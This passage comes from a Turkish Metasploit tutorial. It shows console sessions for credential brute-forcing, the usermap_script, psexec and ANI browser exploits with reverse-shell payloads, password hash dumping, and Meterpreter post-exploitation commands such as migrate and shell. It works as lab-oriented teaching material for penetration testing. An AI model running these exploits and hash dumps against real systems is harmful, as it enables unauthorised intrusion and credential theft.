---- ---- ---- ---- ---- -------
> Found 0 credentials.
db_nmap komutuyla yapılan aramalarda bulunan sonuçlar nasıl hosts ve services tablolarında tutuluyorsa, herhangi bir kullanıcı adı, parola bulma modülü kullandığınızda elde ettiğiniz bilgiler de creds tablosu içinde tutulur. Bir örnek görelim. Bu örnekte mysql_login modülü çalıştırılmakta ve 172.16.194.172 Ip adresinde çalışan MySql servisine login olarak oturum açma denemesi yapılmaktadır. Başarılı olunduğunda, başarılı olan kullanıcı adı ve parola bilgisi creds tablosuna sonradan kullanım için kayıt edilmektedir.
msf auxiliary**(**mysql_login**)** > run
> 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
> 172.16.194.172:3306 MYSQL - **[**1/2] - Trying username:'root' with password:''> 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''> Scanned 1 of 1 hosts **(**100% complete**)**
> Auxiliary module execution completed
msf auxiliary**(**mysql_login**)** > creds
Credentials
**===========**
host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.172 3306 root password true> Found 1 credential.
msf auxiliary**(**mysql_login**)** >
Creds Tablosuna Manuel Veri Ekleme
Bir sistemde oturum açtığınızda, modül kullanmadan kendiniz bulduğunuz kullanıcı adı ve parola bilgilerini de, aşağıdaki örnekteki formatı kullanarak, sonradan kullanmak üzere creds tablosuna aktarabilirsiniz
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
> Time: 2012-06-20 20:31:42 UTC Credential: host**=**172.16.194.134 port**=**445 proto**=**tcp sname**=** type**=**password user**=**Administrator pass**=**7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active**=**true
msf > creds
Credentials
**===========**
host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.134 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true> Found 1 credential.
Loot
Oturum açılan bir sistemde, genellikle ilk olarak hashdump yapılarak hash tablosu çıkarılır. İşte loot komutuyla, tarama sonucu elde edilen hash değerlerinin bilgisi görülebilir. Aşağıdaki örnekte, loot yardım görüntülenmektedir.
msf > loot -h
Usage: loot
Info: loot **[**-h**]** **[**addr1 addr2 ...] **[**-t **]**
Add: loot -f **[**fname] -i **[**info] -a **[**addr1 addr2 ...] **[**-t **[**type**]**
Del: loot -d **[**addr1 addr2 ...] -a,--add Add loot to the list of addresses, instead of listing
-d,--delete Delete *****all***** loot matching host and type -f,--file File with contents of the loot to add
-i,--info Info of the loot to add
-t Search **for **a list of types
-h,--help Show this help information
-S,--search Search string to filter by
Ardından usermap_script modülü kullanılarak karşı sistemde oturum açılmakta ve açılan session yani oturum için, hashdump modülü ile hash değerleri bulunmaktadır. Başarılı olunduğu takdirde bulunan hash değerleri sonradan kullanım için loot tablosuna kayıt edilmektedir.
msf exploit**(**usermap_script**)** > exploit
> Started reverse double handler
> Accepted the first client connection...
> Accepted the second client connection...
> Command: echo 4uGPYOrars5OojdL;> Writing to socket A
> Writing to socket B
> Reading from sockets...
> Reading from socket B
> B: "4uGPYOrars5OojdL\r "> Matching...
> A is input...
> Command shell session 1 opened **(**172.16.194.163:4444 -> 172.16.194.172:55138**)** at 2012-06-27 19:38:54 -0400
^Z
Background session 1? **[**y/N] y
msf exploit**(**usermap_script**)** > use post/linux/gather/hashdump
msf post**(**hashdump**)** > show options
Module options **(**post/linux/gather/hashdump**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
msf post**(**hashdump**)** > sessions -l
Active sessions
**===============**
Id Type Information Connection
-- ---- ----------- ----------
1 shell unix 172.16.194.163:4444 -> 172.16.194.172:55138 **(**172.16.194.172**)**
msf post**(**hashdump**)** > run
**[**+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
**[**+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
**[**+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
**[**+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
**[**+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
**[**+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
**[**+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
**[**+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
> Post module execution completed
Veri tabanında kayıtlı hash değerlerini görmek için loot komutunu vermeniz yeterlidir.
msf post**(**hashdump**)** > loot
Loot
**====**
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt
Bu yazımızda, msfconsole içerisinde verilen help komutunda gösterilen database ile ilgili komutları açıklamaya çalıştık.
Database Backend Commands
**=========================**
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
vulns komutunu eksik bıraktığımızı düşünebilirsiniz. vulns komutunun ne işe yaradığını az çok tahmin etmek mümkündür. Yazı yeterince uzun oldu. vulns komutunu size bırakıyorum.
2.7 - MSF İçinde Exploit Çeşitleri
Metasploit Framework içerisinde tüm exploit modülleri aktif ve pasif olarak gruplandırılırlar.
Metasploit Framework içerisinde tüm exploit modülleri aktif ve pasif olarak gruplandırılırlar.
Aktif Exploit
Aktif exploitler, belirli bir hedef üzerinde çalışacak ve işlem tamamlanana kadar çalışmaya devam edecektir. Herhangi bir hata ile karşılaştığında çalışmayı durdururlar.
Örneğin, Brute-force modülü hedef bilgisayarda bir shell komut satırı açılana kadar çalışır ve işlemi bitince durur. İşlemlerinin tamamlanması uzun zaman alabileceğinden -j parametresi kullanılarak arka plana gönderilebilirler.
Aşağıdaki örnekte, ms08_067_netapi explotinin çalışmaya başlatılıp arka plana gönderildiğini görebilirsiniz.
Bu örnekte, önceden keşif ile bilgileri elde edilen bir hedef bilgisayarın (192.168.1.100) gerekli değişkenleri ayarlanması ve çalışmaya başlaması görülmektedir. Hedef bilgisayarda shell açmak için psexec exploiti ve içerisinde reverse_tcp payload modülü kullanılmaktadır.
msf > use exploit/windows/smb/psexec
msf exploit**(**psexec**)** > set RHOST 192.168.1.100
RHOST **=>** 192.168.1.100
msf exploit**(**psexec**)** > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD **=>** windows/shell/reverse_tcp
msf exploit**(**psexec**)** > set LHOST 192.168.1.5
LHOST **=>** 192.168.1.5
msf exploit**(**psexec**)** > set LPORT 4444LPORT **=>** 4444msf exploit**(**psexec**)** > set SMBUSER victim
SMBUSER **=>** victim
msf exploit**(**psexec**)** > set SMBPASS s3cr3t
SMBPASS **=>** s3cr3t
msf exploit**(**psexec**)** > exploit
> Connecting to the server...
> Started reverse handler
> Authenticating as user 'victim'...
> Uploading payload...
> Created \hikmEeEM.exe...
> Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service **(**ciWyCVEp - "MXAVZsCqfRtZwScLdexnD"**)**...
> Closing service handle...
> Opening service...
> Starting the service...
> Removing the service...
> Closing service handle...
> Deleting \hikmEeEM.exe...
> Sending stage **(**240 bytes**)**
> Command shell session 1 opened **(**192.168.1.5:4444 -> 192.168.1.100:1073**)**
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Pasif Exploit
Pasif Exploitler, yerel bilgisayarda (kendi bilgisayarımız) pasif olarak çalışır ve dinlemede kalırlar. Hedef bilgisayarın bir şekilde yerel bilgisayara bağlanmasını beklerler.
Pasif exploitler neredeyse her durumda Web tarayıcı, FTP vb. istemciler üzerine odaklanırlar. Eposta ile gönderilen dosyalar içerisinden bağlantılarda da kullanılabilirler. Pasif exploit çalıştığında beklemeye başlar. Ne zaman bir kullanıcı sitedeki linke tıklar veya bir işlem yapar, işte o zaman dinlemedeki pasif exploit sinyali alır ve hedefte bir shell açar.
Arka planda çalışan ve dinleme yapan exploitlerin listesini sessions komutuna -l parametresi vererek görebilirsiniz. Listeden istediğiniz ID numaralı işleme gitmek için -i parametresini kullanabilirsiniz.
Aşağıdaki örnekte, loadimage_chunksize exploiti ve reverse_tcp payload u kullanılarak bir kullanıcının Web sayfasına girmesi beklenmeye başlanmaktadır. LHOST değişkeni yerelde dinleme yapacak bilgisayar IP adresini, LPORT ise yerel bilgisayarda dinlenme yapacak port numarasını ifade eder.
msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit**(**ani_loadimage_chunksize**)** > set URIPATH /
URIPATH **=>** /
msf exploit**(**ani_loadimage_chunksize**)** > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD **=>** windows/shell/reverse_tcp
msf exploit**(**ani_loadimage_chunksize**)** > set LHOST 192.168.1.5
LHOST **=>** 192.168.1.5
msf exploit**(**ani_loadimage_chunksize**)** > set LPORT 4444LPORT **=>** 4444msf exploit**(**ani_loadimage_chunksize**)** > exploit
> Exploit running as background job.
> Started reverse handler
> Using URL: <a href="http://0.0.0.0:8080/">http://0.0.0.0:8080/</a>
> Local IP: <a href="http://192.168.1.5:8080/">http://192.168.1.5:8080/</a>
> Server started.
msf exploit**(**ani_loadimage_chunksize**)** >
> Attempting to exploit ani_loadimage_chunksize
> Sending HTML page to 192.168.1.100:1077...
> Attempting to exploit ani_loadimage_chunksize
> Sending Windows ANI LoadAniIcon**()** Chunk Size Stack Overflow **(**HTTP**)** to 192.168.1.100:1077...
> Sending stage **(**240 bytes**)**
> Command shell session 2 opened **(**192.168.1.5:4444 -> 192.168.1.100:1078**)**
msf exploit**(**ani_loadimage_chunksize**)** > sessions -i 2> Starting interaction with 2...
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\victim\Desktop>
Anlatılmasını istediğiniz diğer başlıkları bize iletebilirsiniz.
Video Anlatım
2.8 - MSF İçinde Payload Çeşitleri Nelerdir?
Payload, bir exploit modül türünü ifade eder. Metasploit Framework içerisinde 3 farklı grup payload modülü bulunur.
Payload Grupları Nelerdir?
Payload, bir exploit modül türünü ifade eder. Metasploit Framework içerisinde 3 farklı grup payload modülü bulunur. Tekil, Sahneleyiciler ve Sahneler (Singles, Stagers ve Stages) olarak ayırabileceğimiz bu modüllere bakacağız.
Tekil payloadlar (Singles)
Bu tür payload modülleri, ihtiyaç duydukları bütün kodları ve işlemleri kendi bünyesinde barındırırlar. Çalışmak için herhangi bir yardımcıya ihtiyaç duymazlar. Örneğin, hedef sisteme bir kullanıcı ekleyen payload, işlemini yapar ve durur. Başka bir komut satırına vb. ihtiyaç duymaz.
Tek başlarına bir program olduklarında netcat vb. programlar tarafından fark edilip yakalanabilirler.
“windows/shell_bind_tcp” isimlendirmesine dikkat edelim. Windows için shell_bind_tcp tekil bir payload olarak çalışır. Bir sonraki bölümde farklı bir isimlendirme göreceğiz.
Sahneleyiciler (Stagers)
Sahneleyici payload modülleri, hedef bilgisayar ile yerel bilgisayar arasında ağ bağlantısı kuran kodlardır. Genellikle küçük kodlar barındırırlar. Çalışabilmek için bir sahneye ihtiyaç duyarlar. Metasploit Framework, en uygun olan payload modülünü kullanacak, başarılı olmaz ise daha az başarı vadeden payload otomatik olarak seçilecektir.
windows/shell/bind_tcp isimlendirmesine dikkat edelim. Burada bind_tcp sahneleyicidir ve bir sahneye ihtiyaç duyar. İşte bu isimlendirmede, windows ile bind_tcp arasında bulunan shell sahneyi ifade etmektedir.
Sahneler (Stages)
Sahne olarak ifade ettiğimiz payload modül tipleri, sahneleyiciler tarafından kullanılırlar. Aracılık ettiklerinden windows/shell/bind_tcp isimlendirmesinde orta kısma yazılırlar. Herhangi bir boyut kısıtlamaları yoktur. Meterpreter, VNC Injection ve iPhone ‘ipwn’ Shell bunlara örnek olarak verilebilir.
Payload Tipleri Nelerdir?
Yazının ilk bölümünde Payloadları 3 gruba ayırmıştık. Şimdi payloadları tiplerine göre inceleyelim.
Inline (Non Staged)
Bu tür payloadlar, ihtiyaç duydukları sahneyi (shell) de kendi içlerinde bulundurduklarından daha stabil çalışırlar. Boyutları bir miktar büyük olduklarında karşı tarafın farketmesi de daha kolay olmaktadır. Bazı Exploitler, kısıtlamalarından dolayı bu payloadları kullanamayabilirler.
Staged
Sahneleyiciler, karşı taraftan aldığı bir bilgiyi yine karşı tarafta çalıştırmak istediğinde kendisine sağlanan sahneyi (stage) kullanır. Bu tip payloadlara Sahlenen (Staged) adı verilmektedir.
Meterpreter
Meterpreter, Meta-Interpreter ifadelerinin birleşiminden oluşan ismiyle tam anlamıyla bir komut satırı programıdır. dll enjeksiyonu aracılığıyla ve doğrudan RAM hafızasında çalışır. Hard Diskte hernagi bir kalıntı bırakmaz. Meterpreter üzerinden kod çalıştırmak veya iptal etmek, çok kullanışlıdır.
PassiveX
PassiveX olarak ifade edilen payload tipleri firewall atlatmak için kullanılırlar. ActiveX kullanarak gizli bir Internet Explorer prosesi oluştururlar. Bu tür payload tipleri hedef bilgisayar ile haberleşmek için HTTP istek ve cevaplarını kullanır.
NoNX
NX (No eXecute) bit adı verilen kısıtlı alanlar, işlemcinin belli hafıza alanlarına müdahale etmesini yasaklamakta kullanılır. Eğer bir program RAM hafızanın kısıtlı alanına müdahale etmek isterse, bu istek işlemci tarafından yerine getirilmez ve bu davranış DEP (Data Execution Prevention) sistemi tarafından engellenir. İşte NoNX payload tipleri bu kısıtlamayı aşmak için kullanılırlar.
Ord
Ordinal payload modülleri, Windows içinde çalışırlar ve neredeyse tüm Windows sürümlerinde çalışabilecek tarzda basittirler. Neredeyse tüm sürümlerde çalışabilir olmalarına rağmen, bu tip payloadların çalışması için bir ön gereklilik bulunmaktadır. Sistemde ws2_32.dll önceden yüklü bulunmalıdır. Ayrıca çok kararlı değildirler.
IPv6
Bu tip payload modülleri IPv6 ağ haberleşmesi için kullanılmak üzere tasarlanmışlardır.
Reflective DLL injection
Bu tür payload modülleri, hedef sistemin hafızasına yerleşirler. Hard Diske dokunmazlar ve VNC, Meterpreter gibi payload tiplerinin çalışmasına yardım ederler.
Video Anlatım
2.9 - Metasploit İçinde Meterpreter Komutları
Metasploit içinde kullanılabilecek Meterpreter komutları hakkında bilgi verir.
Bir önceki yazıda, kısaca Meterpreter’in ne olduğunu açıklamıştık. Şimdi de kullanılabilecek komutları detaylarıyla göreceğiz. Burada hemen hemen tüm komutlar açıklanmaya çalışılsa da bir kaç komut, ancak tecrübeyle anlaşılacağından eksik bırakılmıştır. Onları da zamanla açıklığa kavuşturacağız.
Meterpreter Komutları
help
Adından da anlaşılacağı gibi, Meterpreter içinde help komutunu verdiğinizde kullanılabilir komutları listeler ve kısa açıklamaları verir.
meterpreter > helpCore Commands
**=============**
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
...snip...
background
background komutu, aktif olan Meterpreter oturumunu (session) arka plana gönderir ve sizi tekrar msf > komut istemcisine getirir. Arka plandaki Meterpreter oturumuna geçmek için sessions komutundan faydalanabilirsiniz.
edit komutu, karşı taraftaki bilgisayarda bulunan bir dosyayı düzenlemek üzere vim editörde açar. Vim Editör kullanımı için
Vim sayfasına bakabilirsiniz.
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
**========================================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
.
...snip...
.
100666/rw-rw-rw- 0 fil 2012-03-01 13:47:10 -0500 edit.txt
meterpreter > edit edit.txt
execute
execute komutu, karşı tarafta bir komut çalıştırmanızı sağlar. Dikkat ederseniz, Meterpreter’in kendi komutları çalıştırılmamakta. Karşı tarafın komut istemcisinde bir komut çalıştırılmaktadır.
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
getuid
Karşı tarafta Meterpreter’in çalıştığı sistemin kullanıcı kimliğini görüntüler.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
hashdump
hashdump komutu, karşı taraftaki bilgisayarın SAM veri tabanını ortaya çıkarır. Tabii ki önceki Veri tabanı yazımızda belirttiğimiz gibi Workspace kullanıyorsanız, loot tablosuna kayıt eder.
meterpreter > run post/windows/gather/hashdump
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
idletime
Karşı taraftaki bilgisayar kullanıcısının, ne kadar zamandır işlem yapmadığını gösterir.
meterpreter > idletime
User has been idle **for**: 5 hours 26 mins 35 secs
meterpreter >
ipconfig
Karşı bilgisayarın ağ bilgilerini görüntüler.
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address : 192.168.1.104
Netmask : 255.255.0.0
meterpreter >
lpwd > lcd
Meterpreter komut satırı açık iken vereceğiniz komutlar karşı taraf bilgisayarda işlem yaparlar. Halbuki biz kendi bilgisayarımızda bulunduğumuz klasörü görmek veya değiştirmek isteyebiliriz. Bu durumda Meterpreter’i geri plana göndermeden lpwd ve lcd komutlarıyla bu işlemi yapabiliriz. lpwd: Yerel bilgisayarda hangi klasörde olduğumuzu gösterir. (local print working directory) lcd: Yerel bilgisayarda istediğimiz klasöre geçmeye yarar. (local call directory)
Linux İşletim sistemindeki ls komutuyla aynı işlemi yapar. Bulunulan klasördeki dosya ve klasörleri listeler.
meterpreter > ls
Listing: C:\Documents and Settings\victim
**=========================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 .
40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel
40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data
...snip...
migrate
Meterpreter sunucumuz, karşı tarafta svchost.exe dosyasının içinde çalışıyor olabilir. Bunu başka bir programın içine gömülü hale getirmek istediğimizde migrate yani “göç et” komutunu kullanırız.
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)[*] Migrating to explorer.exe...
[*] Migrating into process ID 816[*] New server process: Explorer.EXE (816)meterpreter >
ps
Hedef bilgisayarda çalışan tüm işlemleri görüntüler.
meterpreter > ps
Process list
**============**
PID Name Path
--- ---- ----
132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
288 snmp.exe C:\WINDOWS\System32\snmp.exe
...snip...
resource
Karşı bilgisayara bağlandığınızda, yaptığınız işlemlerin bir süre sonra aynı şeyler olduğunu fark edersiniz. Örneğin, ls komutunu ver, cd c:\\Program Files ile programlar klasörüne gir vb. işlemleri hemen her zaman yaparsınız. İşte yerel bilgisayarda bir dosyaya, her satırda bir komut olacak şekilde bu işlemleri kayıt edip karşı tarafta çalıştırabilirsiniz. Bunun gerçekleşmesi için resource komutu kullanılmaktadır.
Burada dikkat edilmesi gereken konu, resource komutuna ilk vereceğiniz dosya yerele hangi klasördeyseniz (lpwd) orada aranır. İkinci parametre ise karşı tarafta hangi klasörde bulunuyorsanız (pwd) orada çalıştırılır.
meterpreter > resource
Usage: resource path1 path2Run the commands stored **in **the supplied files.
meterpreter >
ARGUMENTS:
path1: Yerel klasörümüzde bulunan toplu iş dosyamız.
Path2Run: Komutların çalıştırılacağı karşı klasör
root@kali:~# cat resource.txt
ls
background
root@kali:~#
Running resource command:
meterpreter> > resource resource.txt
> Reading /root/resource.txt
> Running ls
Listing: C:\Documents and Settings\Administrator\Desktop
**========================================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2012-02-29 16:41:29 -0500 .
40777/rwxrwxrwx 0 dir 2012-02-02 12:24:40 -0500 ..
100666/rw-rw-rw- 606 fil 2012-02-15 17:37:48 -0500 IDA Pro Free.lnk
100777/rwxrwxrwx 681984 fil 2012-02-02 15:09:18 -0500 Sc303.exe
100666/rw-rw-rw- 608 fil 2012-02-28 19:18:34 -0500 Shortcut to Ability Server.lnk
100666/rw-rw-rw- 522 fil 2012-02-02 12:33:38 -0500 XAMPP Control Panel.lnk
> Running background
> Backgrounding session 1...
msf exploit**(**handler**)** >
shell komutu, Meterpreter içinde karşı sistemin Command Prompt satırına girmenizi sağlar.
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP **[**Version 5.1.2600]**(**C**)** Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
upload
Karşı sisteme bir dosya yüklemenizi sağlar. Hedef sistemin dosya gösterim notasyonu dikkate alınmalıdır. Ters tırnaklara dikkat edilmelidir.
Metasploit Framework tarafından kullanıcıya sağlanan komut satırı ortamı olarak bilinen Meterpreter’in kısaca tanımaya çalışacağız.
Bu yazımızda, Metasploit Framework tarafından kullanıcıya sağlanan komut satırı ortamı olarak bilinen Meterpreter’in kısaca tanımaya çalışacağız. İlerleyen yazılarda Meterpreter içerisinde kullanılan komutlar ve örneklerini bol bol göreceğiz. Burada kısaca giriş yapıyoruz.
Meterpreter Nedir?
Meterpreter, ileri düzey bir Metasploit payload tipidir. Dinamik olarak hedef bilgisayarda DLL Enjeksiyon mantığı ile çalışır. Ağda, sahneleyici payloadları ve soketleri kullanarak yerel bilgisayarla haberleşir. Komut geçmişi, komut tamamlama vb. kabiliyetleri bulunur. Kısaca, Karşı taraf bilgisayarda çalışan çok etkili bir komut satırıdır diyebiliriz.
Meterpreter Nasıl Çalışır?
Metasploit içinde kullanılan sahneleyici (stager) modül çalışır. Bu modül genellikle bind, reverse, findtag, passivex modüllerinden bir tanesidir. Sahneleyici modül, DLL enjeksiyonunu kullanarak sistemde çalışır ve Metasploit Framework’e TLS/1.0 üzerinden haberleşmeyi sağlar. Haberleşme sağlanınca GET isteği gönderilir ve bu isteği alan Metasploit gerekli ayarlamaları yapar. Karşı tarafta çalışan bilgisayarın yetkilerine göre gerekli modüller yüklenir ve açılan komut satırı kullanıcıya devredilir.
Meterpreter Tasarım Hedefleri
Gizlilik
Meterpreter tamamen RAM üzerinde çalışır ve Hard Diske herhangi bir yazma işlemi yapmaz. Meterpreter çalıştığında karşı sistemde yeni bir proses oluşturulmaz. Meterpreter, Metasploit ile iletişimini kriptolu olarak yapar. Tüm bu imkanlar, karşı tarafta olabildiğince az iz bırakır.
Güçlü
Meterpreter, kanallara bölünmüş bir haberleşme kullanır. Meterpreter’in kullandığı TLV Protokolünün bir kaç kısıtı bulunmaktadır.
Genişletilebilir
Meterpreter çalıştığı anda bile yeni modüllerle genişletilebilir. Yeni kodlar ve özellikler eklendiğinde tekrar derlenmesine gerek yoktur.
Çalışma Anında Yeni Özellik Ekleme
Yeni özellikler, uzantılar (extensions) yüklenerek eklenir. İstemci, DLL dosyalarını soket üzerinden yükler. Karşı taraf üzerinde çalışan Meterpreter sunucu, DLL dosyasını hafızaya yükler. Yeni özellik, karşı tarafta çalışan sunucu tarafından otomatik olarak tanınır. Yerel bilgisayardaki istemci, metasploit tarafından sağlanan API arayüzünü yükler ve hemen kullanmaya başlayabilir. Tüm işlemler yaklaşık 1 sn. içinde gerçekleşir.
Sonuç
Bu yazıda anlatılanlar, programcı olanlara çok anlamlı gelse de ortalama kullanıcılara pek bir anlam ifade etmemiş olabilir. Hiç problem değil. Meterpreter’in kullanıcıya, çok etkili bir komut satırı ile işlem yapmaya yaradığını bilmek yeterlidir.
2.11 - MSF İçinde Kendi Tarayıcınızı Yazma
Metasploit Framework, bu tür amaçlar için kendi tarayıcı modülünüzü yazma imkanı sağlıyor.
Bazen yapmak istediğiniz işleme tam olarak uyan bir modül bulamazsınız. 2-3 farklı modülün yaptığı işlemleri tek modülde toplamak istersiniz. Örneğin, evinizdeki ağınızı zafiyetlere karşı taramak ve kayıt altına almak isteyebilirsiniz. Metasploit Framework, bu tür amaçlar için kendi tarayıcı modülünüzü yazma imkanı sağlıyor.
Programlama diliyle söyleyecek olursak, Metasploit Framework içinde kullanılan bütün sınıflara (class) erişim ve kullanım imkanınız bulunmaktadır.
Tarayıcıların bazı özellikleri
Tüm exploit sınıf ve modüllerine erişim sağlarlar.
Proxy, SSL ve raporlama desteği bulunur.
Tarayıcı için THREAD yönetimi ve istenen aralıkta tarama desteği
Yazması ve çalıştırması çok kolaydır.
Yazması ve çalıştırması kolay dense de kodlama biliyor olmanız size çok zaman kazandıracaktır. Bunu da ifade edelim. Aşağıdaki örnekte, TCP Exploit Modülü, include komutu ile sisteme dahil edilmekte ve bu modülün TCP bağlantı değişkenleri, istenen IP adresine bağlanmak için kullanılmaktadır. 12345 Portuna bağlantı sağlandıktan sonra sunucuya “HELLO SERVE” mesajı gönderilmektedir. Son olarak da sunucunun verdiği cevap ekrana yazdırılmaktadır.
require 'msf/core'class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super**(**
'Name' **=>** 'My custom TCP scan',
'Version' **=>** '$Revision: 1 $',
'Description' **=>** 'My quick scanner',
'Author' **=>** 'Your name here',
'License' **=>** MSF_LICENSE
**)**
register_options**(**
**[**
Opt::RPORT**(**12345**)**
**]**, self.class**)**
end
def run_host**(**ip**)**
connect**()**
greeting **=** "HELLO SERVER" sock.puts**(**greeting**)**
data **=** sock.recv**(**1024**)**
print_status**(**"Received: #{data} from #{ip}"**)**
disconnect**()**
end
end
Yazdığınız Tarayıcıyı Kaydetme
Yazdığınız tarayıcıyı doğru yere kaydetmelisiniz. msfconsole başlarken modüller ./modules/auxuliary/scanner klasöründen yüklenirler. O zaman yeni yazdığımız modülü ./modules/auxiliary/scanner/http/ klsörünün için simple_tcp.rb dosya adıyla Ruby uzantılı kayıt etmeliyiz. Ayrıntılı bilgi için
Metasploit Temel Komutlar -loadpath- başlığını okuyabilirsiniz.
Deneyeceğimiz tarayıcı modülün mesajını yakalamak için netcat dinleme oturumu açabilirsiniz.
root@kali:~# nc -lnvp 12345 < response.txt
listening on **[**any]12345 ...
Ardından yeni modülü seçip RHOST değişkenini ayarlıyoruz ve modülü çalıştırıyoruz.
msf > use scanner/simple_tcp
msf auxiliary**(**simple_tcp**)** > set RHOSTS 192.168.1.100
RHOSTS **=>** 192.168.1.100
msf auxiliary**(**simple_tcp**)** > run
> Received: hello metasploit from 192.168.1.100
> Auxiliary module execution completed
Detaylı kullanım örnekleri için Metasploit içerisinde bulunan modülleri incelemeniz tavsiye ediyorum.
Sonuçları Kaydetme
Raporlama metodu report_*() kullanıcıya aşağıdaki imkanları sunar. Bunun için veri tabanı kullanıyor olmalısınız.
Veri tabanı bağlantısı olup olmadığını kontrol eder.
Çift kayıt olup olmadığını kontrol eder.
Bulunan bir kaydı tabloya yazar.
report.*() metodunu kullanmak için aşağıdaki include satırını tarayıcı dosyanıza dahil etmelisiniz.
include Msf::Auxiliary::Report
Son olarak report_note() metodunu kullanabilirsiniz.
report_note():host => rhost,
:type => "myscanner_password",
:data => data
2.12 - MSF Karmetasploit
Bu yazıda, Metasploit içinde Karmetasploit hakkında bilgi vermeye çalışacağız. Genel olarak kurulum, ayarlarının yapılması ve örnek kullanımı göreceğiz.
Bu yazıda, Metasploit içinde Karmetasploit hakkında bilgi vermeye çalışacağız. Genel olarak kurulum, ayarlarının yapılması ve örnek kullanımı göreceğiz.
